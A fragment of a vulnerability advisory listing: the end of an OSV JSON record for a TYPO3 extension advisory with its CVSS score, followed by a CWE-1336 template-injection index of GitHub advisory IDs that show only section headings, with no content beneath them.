      "type": "WEB",
      "url": "https://typo3.org/security/advisory/typo3-ext-sa-2026-022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

CWE-1336

Improper Neutralization of Special Elements Used in a Template Engine

GHSA-5F94-X226-CCPM

Summary

Details

PoC

Impact

GHSA-5FVC-7894-GHP4

Resources

GHSA-5J4H-4F72-QPM6

Summary

Details

PoC

Impact

GHSA-5X94-7MHW-9FF6

GHSA-65HW-C9G5-R8MM

GHSA-65MP-FQ8V-56JR

Impact

Patches

Workarounds

Resources

GHSA-65P8-9433-JPCP

Summary

Details

PoC

Stage 1: Confirm Server-Side Template Execution

Stage 2: Confirm Remote Code Execution

Impact

GHSA-662M-56V4-3R8F

Summary

Important

Permissions Needed

Details

PoC

Impact

Recommended Fix

GHSA-66C8-9R5R-35HF

GHSA-6956-F2GQ-2C74

Mitigation

Mitigation